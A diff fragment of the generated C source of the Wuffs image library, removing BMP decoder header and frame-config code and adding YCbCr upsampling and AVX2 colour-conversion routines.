{ -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(35); -- uint32_t t_16; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(36); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; -- if (num_bits_16 == 24) { -- t_16 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_16 += 8u; -- *scratch |= ((uint64_t)(num_bits_16)) << 56; -- } -- } -- self->private_impl.f_channel_masks[2u] = t_16; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(37); -- uint32_t t_17; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_17 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(38); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_17 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_17; -- if (num_bits_17 == 24) { -- t_17 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_17 += 8u; -- *scratch |= ((uint64_t)(num_bits_17)) << 56; -- } -- } -- self->private_impl.f_channel_masks[1u] = t_17; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(39); -- uint32_t t_18; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_18 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(40); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_18 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; -- if (num_bits_18 == 24) { -- t_18 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_18 += 8u; -- *scratch |= ((uint64_t)(num_bits_18)) << 56; -- } -- } -- self->private_impl.f_channel_masks[0u] = t_18; -- } -- if (self->private_impl.f_bitmap_info_len >= 56u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(41); -- uint32_t t_19; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_19 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(42); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_19 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_19; -- if (num_bits_19 == 24) { -- t_19 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_19 += 8u; -- *scratch |= ((uint64_t)(num_bits_19)) << 56; -- } -- } -- self->private_impl.f_channel_masks[3u] = t_19; -- } -- self->private_data.s_do_decode_image_config[0].scratch = ((uint32_t)(self->private_impl.f_bitmap_info_len - 56u)); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(43); -- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; -- } -- if ((self->private_impl.f_channel_masks[0u] == 255u) && (self->private_impl.f_channel_masks[1u] == 65280u) && (self->private_impl.f_channel_masks[2u] == 16711680u)) { -- if (self->private_impl.f_bits_per_pixel == 24u) { -- self->private_impl.f_compression = 0u; -- } else if (self->private_impl.f_bits_per_pixel == 32u) { -- if ((self->private_impl.f_channel_masks[3u] == 0u) || (self->private_impl.f_channel_masks[3u] == 4278190080u)) { -- self->private_impl.f_compression = 0u; -- } -- } -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(44); -- status = wuffs_bmp__decoder__process_masks(self); -- if (status.repr) { -- goto suspend; -- } -- } -- } else if (self->private_impl.f_bitmap_info_len >= 40u) { -- self->private_data.s_do_decode_image_config[0].scratch = (self->private_impl.f_bitmap_info_len - 40u); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(45); -- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; -- } else { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- } -- if (self->private_impl.f_compression != 3u) { -- if (self->private_impl.f_bits_per_pixel < 16u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(46); -- status = wuffs_bmp__decoder__read_palette(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } -- } -- if (self->private_impl.f_compression == 0u) { -- if ((self->private_impl.f_bits_per_pixel == 1u) || (self->private_impl.f_bits_per_pixel == 2u) || (self->private_impl.f_bits_per_pixel == 4u)) { -- self->private_impl.f_src_pixfmt = 2198077448u; -- self->private_impl.f_compression = 256u; -- } else if (self->private_impl.f_bits_per_pixel == 8u) { -- self->private_impl.f_src_pixfmt = 2198077448u; -- } else if (self->private_impl.f_bits_per_pixel == 16u) { -- self->private_impl.f_compression = 3u; -- self->private_impl.f_channel_masks[0u] = 31u; -- self->private_impl.f_channel_masks[1u] = 992u; -- self->private_impl.f_channel_masks[2u] = 31744u; -- self->private_impl.f_channel_masks[3u] = 0u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(47); -- status = wuffs_bmp__decoder__process_masks(self); -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_src_pixfmt = 2164308923u; -- } else if (self->private_impl.f_bits_per_pixel == 24u) { -- self->private_impl.f_src_pixfmt = 2147485832u; -- } else if (self->private_impl.f_bits_per_pixel == 32u) { -- if (self->private_impl.f_channel_masks[3u] == 0u) { -- self->private_impl.f_src_pixfmt = 2415954056u; -- } else { -- self->private_impl.f_src_pixfmt = 2164295816u; -- } -- } else { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- } else if (self->private_impl.f_compression == 1u) { -- if (self->private_impl.f_bits_per_pixel == 8u) { -- self->private_impl.f_src_pixfmt = 2198077448u; -- } else { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- } else if (self->private_impl.f_compression == 2u) { -- if (self->private_impl.f_bits_per_pixel == 4u) { -- self->private_impl.f_src_pixfmt = 2198077448u; -- } else { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- } else if (self->private_impl.f_compression == 3u) { -- if ((self->private_impl.f_bits_per_pixel == 16u) || (self->private_impl.f_bits_per_pixel == 32u)) { -- self->private_impl.f_src_pixfmt = 2164308923u; -- } else { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- } else { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- if (((self->private_impl.f_bitmap_info_len < 40u) || (self->private_impl.f_bitmap_info_len == 64u)) && -- (self->private_impl.f_bits_per_pixel != 1u) && -- (self->private_impl.f_bits_per_pixel != 4u) && -- (self->private_impl.f_bits_per_pixel != 8u) && -- (self->private_impl.f_bits_per_pixel != 24u)) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -- } -- if (self->private_impl.f_bits_per_pixel == 1u) { -- v_byte_width = ((self->private_impl.f_width >> 3u) + (((self->private_impl.f_width & 7u) + 7u) >> 3u)); -- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); -- } else if (self->private_impl.f_bits_per_pixel == 2u) { -- v_byte_width = ((self->private_impl.f_width >> 2u) + (((self->private_impl.f_width & 3u) + 3u) >> 2u)); -- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); -- } else if (self->private_impl.f_bits_per_pixel == 4u) { -- v_byte_width = ((self->private_impl.f_width >> 1u) + (self->private_impl.f_width & 1u)); -- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); -- } else if (self->private_impl.f_bits_per_pixel == 8u) { -- self->private_impl.f_pad_per_row = ((4u - (self->private_impl.f_width & 3u)) & 3u); -- } else if (self->private_impl.f_bits_per_pixel == 16u) { -- self->private_impl.f_pad_per_row = ((self->private_impl.f_width & 1u) * 2u); -- } else if (self->private_impl.f_bits_per_pixel == 24u) { -- self->private_impl.f_pad_per_row = (self->private_impl.f_width & 3u); -- } else if (self->private_impl.f_bits_per_pixel == 32u) { -- self->private_impl.f_pad_per_row = 0u; -- } -- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- if (a_dst != NULL) { -- v_dst_pixfmt = 2164295816u; -- if ((self->private_impl.f_channel_num_bits[0u] > 8u) || -- (self->private_impl.f_channel_num_bits[1u] > 8u) || -- (self->private_impl.f_channel_num_bits[2u] > 8u) || -- (self->private_impl.f_channel_num_bits[3u] > 8u)) { -- v_dst_pixfmt = 2164308923u; -- } -- wuffs_base__image_config__set( -- a_dst, -- v_dst_pixfmt, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height, -- self->private_impl.f_frame_config_io_position, -- (self->private_impl.f_channel_masks[3u] == 0u)); -+#endif -+ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_rgbx; -+ break; -+ default: -+ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_general; -+ break; - } -- self->private_impl.f_call_sequence = 32u; -- -- ok: -- self->private_impl.p_do_decode_image_config[0] = 0; -- goto exit; - } - -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ void (*func3)(wuffs_base__pixel_buffer * dst, // -+ uint32_t x_min_incl, // -+ uint32_t x_max_excl, // -+ uint32_t y_min_incl, // -+ uint32_t y_max_excl, // -+ const uint8_t* src_ptr0, // -+ const uint8_t* src_ptr1, // -+ const uint8_t* src_ptr2, // -+ uint32_t stride0, // -+ uint32_t stride1, // -+ uint32_t stride2, // -+ uint32_t inv_h0, // -+ uint32_t inv_h1, // -+ uint32_t inv_h2, // -+ uint32_t inv_v0, // -+ uint32_t inv_v1, // -+ uint32_t inv_v2, // -+ uint32_t half_width_for_2to1, // -+ uint32_t half_height_for_2to1, // -+ uint8_t* scratch_buffer_2k_ptr, // -+ wuffs_private_impl__swizzle_ycc__upsample_func(*upfuncs)[4][4], -+ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) = -+ &wuffs_private_impl__swizzle_ycc__general__box_filter; -+ -+ void (*func4)(wuffs_base__pixel_buffer * dst, // -+ uint32_t x_min_incl, // -+ uint32_t x_max_excl, // -+ uint32_t y_min_incl, // -+ uint32_t y_max_excl, // -+ const uint8_t* src_ptr0, // -+ const uint8_t* src_ptr1, // -+ const uint8_t* src_ptr2, // -+ const uint8_t* src_ptr3, // -+ uint32_t stride0, // -+ uint32_t stride1, // -+ uint32_t stride2, // -+ uint32_t stride3, // -+ uint32_t inv_h0, // -+ uint32_t inv_h1, // -+ uint32_t inv_h2, // -+ uint32_t inv_h3, // -+ uint32_t inv_v0, // -+ uint32_t inv_v1, // -+ uint32_t inv_v2, // -+ uint32_t inv_v3, // -+ uint32_t half_width_for_2to1, // -+ uint32_t half_height_for_2to1, // -+ uint8_t* scratch_buffer_2k_ptr, // -+ wuffs_private_impl__swizzle_ycc__upsample_func(*upfuncs)[4][4], -+ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) = -+ &wuffs_private_impl__swizzle_ycck__general__box_filter; -+ -+ wuffs_private_impl__swizzle_ycc__upsample_func upfuncs[4][4]; -+ memcpy(&upfuncs, &wuffs_private_impl__swizzle_ycc__upsample_funcs, -+ sizeof upfuncs); - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ if (triangle_filter_for_2to1 && -+ (wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h0, inv_v0) || -+ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h1, inv_v1) || -+ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h2, inv_v2) || -+ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h3, inv_v3))) { -+ func3 = &wuffs_private_impl__swizzle_ycc__general__triangle_filter; -+ func4 = &wuffs_private_impl__swizzle_ycck__general__triangle_filter; -+ -+ upfuncs[0][1] = wuffs_private_impl__swizzle_ycc__upsample_inv_h1v2_triangle; -+ upfuncs[1][0] = wuffs_private_impl__swizzle_ycc__upsample_inv_h2v1_triangle; -+ upfuncs[1][1] = wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle; -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+#if defined(__GNUC__) && !defined(__clang__) -+ // Don't use our AVX2 implementation for GCC (but do use it for clang). For -+ // some unknown reason, GCC performs noticably better on the non-SIMD -+ // version. Possibly because GCC's auto-vectorizer is smarter (just with -+ // SSE2, not AVX2) than our hand-written code, but that's just a guess. -+ // -+ // See commits 51bc60ef9298cb2efc1b29a9681191f66d49820d and -+ // cd769a0cdf1b5affee13f6089b995f3d39569cb4 for benchmark numbers. -+ // -+ // See also https://godbolt.org/z/MbhbPGEz4 for Debian Bullseye's clang 11 -+ // versus gcc 10, where only gcc auto-vectorizes, although later clang -+ // versions will also auto-vectorize. -+#else -+ if (wuffs_base__cpu_arch__have_x86_avx2()) { -+ upfuncs[1][1] = -+ wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2; -+ } -+#endif -+#endif - } - -- return status; --} -- --// -------- func bmp.decoder.decode_frame_config -+ if ((h3 != 0u) || (v3 != 0u)) { -+ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func = -+ is_rgb_or_cmyk ? &wuffs_private_impl__swizzle_cmyk__convert_4_general -+ : &wuffs_private_impl__swizzle_ycck__convert_4_general; -+ (*func4)( // -+ dst, x_min_incl, x_max_excl, y_min_incl, y_max_excl, // -+ src0.ptr, src1.ptr, src2.ptr, src3.ptr, // -+ stride0, stride1, stride2, stride3, // -+ inv_h0, inv_h1, inv_h2, inv_h3, // -+ inv_v0, inv_v1, inv_v2, inv_v3, // -+ half_width_for_2to1, half_height_for_2to1, // -+ scratch_buffer_2k.ptr, &upfuncs, conv4func); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_bmp__decoder__decode_frame_config( -- wuffs_bmp__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 2)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } else { -+ (*func3)( // -+ dst, x_min_incl, x_max_excl, y_min_incl, y_max_excl, // -+ src0.ptr, src1.ptr, src2.ptr, // -+ stride0, stride1, stride2, // -+ inv_h0, inv_h1, inv_h2, // -+ inv_v0, inv_v1, inv_v2, // -+ half_width_for_2to1, half_height_for_2to1, // -+ scratch_buffer_2k.ptr, &upfuncs, conv3func); - } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ return wuffs_base__make_status(NULL); -+} - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+// -------- - -- ok: -- self->private_impl.p_decode_frame_config[0] = 0; -- goto exit; -+// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") -+static void // -+wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2( -+ wuffs_base__pixel_buffer* dst, -+ uint32_t x, -+ uint32_t x_end, -+ uint32_t y, -+ const uint8_t* up0, -+ const uint8_t* up1, -+ const uint8_t* up2) { -+ if ((x + 32u) > x_end) { -+ wuffs_private_impl__swizzle_ycc__convert_3_bgrx( // -+ dst, x, x_end, y, up0, up1, up2); -+ return; - } - -- goto suspend; -- suspend: -- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ size_t dst_stride = dst->private_impl.planes[0].stride; -+ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + -+ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); - -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -+ // u0001 = u16x16 [0x0001 .. 0x0001] -+ // u00FF = u16x16 [0x00FF .. 0x00FF] -+ // uFF80 = u16x16 [0xFF80 .. 0xFF80] -+ // uFFFF = u16x16 [0xFFFF .. 0xFFFF] -+ const __m256i u0001 = _mm256_set1_epi16(+0x0001); -+ const __m256i u00FF = _mm256_set1_epi16(+0x00FF); -+ const __m256i uFF80 = _mm256_set1_epi16(-0x0080); -+ const __m256i uFFFF = _mm256_set1_epi16(-0x0001); - --// -------- func bmp.decoder.do_decode_frame_config -+ // p8000_p0000 = u16x16 [0x8000 0x0000 .. 0x8000 0x0000] -+ const __m256i p8000_p0000 = _mm256_set_epi16( // -+ +0x0000, -0x8000, +0x0000, -0x8000, // -+ +0x0000, -0x8000, +0x0000, -0x8000, // -+ +0x0000, -0x8000, +0x0000, -0x8000, // -+ +0x0000, -0x8000, +0x0000, -0x8000); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__do_decode_frame_config( -- wuffs_bmp__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+ // Per wuffs_base__color_ycc__as__color_u32, the formulae: -+ // -+ // R = Y + 1.40200 * Cr -+ // G = Y - 0.34414 * Cb - 0.71414 * Cr -+ // B = Y + 1.77200 * Cb -+ // -+ // When scaled by 1<<16: -+ // -+ // 0.34414 becomes 0x0581A = 22554. -+ // 0.71414 becomes 0x0B6D2 = 46802. -+ // 1.40200 becomes 0x166E9 = 91881. -+ // 1.77200 becomes 0x1C5A2 = 116130. -+ // -+ // Separate the integer and fractional parts, since we work with signed -+ // 16-bit SIMD lanes. The fractional parts range from -0.5 .. +0.5 (as -+ // floating-point) which is from -0x8000 .. +0x8000 (as fixed-point). -+ // -+ // -0x3A5E = -0x20000 + 0x1C5A2 The B:Cb factor. -+ // +0x66E9 = -0x10000 + 0x166E9 The R:Cr factor. -+ // -0x581A = +0x00000 - 0x0581A The G:Cb factor. -+ // +0x492E = +0x10000 - 0x0B6D2 The G:Cr factor. -+ const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); -+ const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); -+ const __m256i m581A_p492E = _mm256_set_epi16( // -+ +0x492E, -0x581A, +0x492E, -0x581A, // -+ +0x492E, -0x581A, +0x492E, -0x581A, // -+ +0x492E, -0x581A, +0x492E, -0x581A, // -+ +0x492E, -0x581A, +0x492E, -0x581A); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ while (x < x_end) { -+ // Load chroma values in even and odd columns (the high 8 bits of each -+ // u16x16 element are zero) and then subtract 0x0080. -+ // -+ // cb_all = u8x32 [cb.00 cb.01 cb.02 cb.03 .. cb.1C cb.1D cb.1E cb.1F] -+ // cb_eve = i16x16 [cb.00-0x80 cb.02-0x80 .. cb.1C-0x80 cb.1E-0x80 ] -+ // cb_odd = i16x16 [cb.01-0x80 cb.03-0x80 .. cb.1D-0x80 cb.1F-0x80 ] -+ // -+ // Ditto for the cr_xxx Chroma-Red values. -+ __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); -+ __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); -+ __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); -+ __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); -+ __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); -+ __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ // ---- - -- if (self->private_impl.f_call_sequence == 32u) { -- } else if (self->private_impl.f_call_sequence < 32u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_bmp__decoder__do_decode_image_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } else if (self->private_impl.f_call_sequence == 40u) { -- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_restart); -- goto exit; -- } -- } else if (self->private_impl.f_call_sequence == 64u) { -- self->private_impl.f_call_sequence = 96u; -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- if (a_dst != NULL) { -- wuffs_base__frame_config__set( -- a_dst, -- wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height), -- ((wuffs_base__flicks)(0u)), -- 0u, -- self->private_impl.f_frame_config_io_position, -- 0u, -- true, -- false, -- 4278190080u); -- } -- self->private_impl.f_call_sequence = 64u; -+ // Calculate: -+ // -+ // B-Y = (+1.77200 * Cb) as floating-point -+ // R-Y = (+1.40200 * Cr) as floating-point -+ // -+ // B-Y = ((0x2_0000 - 0x3A5E) * Cb) as fixed-point -+ // R-Y = ((0x1_0000 + 0x66E9) * Cr) as fixed-point -+ // -+ // B-Y = ((-0x3A5E * Cb) + ("2.0" * Cb)) -+ // R-Y = ((+0x66E9 * Cr) + ("1.0" * Cr)) - -- ok: -- self->private_impl.p_do_decode_frame_config[0] = 0; -- goto exit; -- } -+ // Multiply by m3A5E or p66E9, taking the high 16 bits. There's also a -+ // doubling (add x to itself), adding-of-1 and halving (shift right by 1). -+ // That makes multiply-and-take-high round to nearest (instead of down). -+ __m256i tmp_by_eve = _mm256_srai_epi16( -+ _mm256_add_epi16( -+ _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), -+ 1); -+ __m256i tmp_by_odd = _mm256_srai_epi16( -+ _mm256_add_epi16( -+ _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), -+ 1); -+ __m256i tmp_ry_eve = _mm256_srai_epi16( -+ _mm256_add_epi16( -+ _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), -+ 1); -+ __m256i tmp_ry_odd = _mm256_srai_epi16( -+ _mm256_add_epi16( -+ _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), -+ 1); - -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ // Add (2 * Cb) and (1 * Cr). -+ __m256i by_eve = -+ _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); -+ __m256i by_odd = -+ _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); -+ __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); -+ __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+ // ---- - -- return status; --} -+ // Calculate: -+ // -+ // G-Y = (-0.34414 * Cb) + -+ // (-0.71414 * Cr) as floating-point -+ // -+ // G-Y = ((+0x0_0000 - 0x581A) * Cb) + -+ // ((-0x1_0000 + 0x492E) * Cr) as fixed-point -+ // -+ // G-Y = (-0x581A * Cb) + -+ // (+0x492E * Cr) - ("1.0" * Cr) - --// -------- func bmp.decoder.decode_frame -+ // Multiply-add to get ((-0x581A * Cb) + (+0x492E * Cr)). -+ __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // -+ _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); -+ __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // -+ _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); -+ __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // -+ _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); -+ __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // -+ _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_bmp__decoder__decode_frame( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- 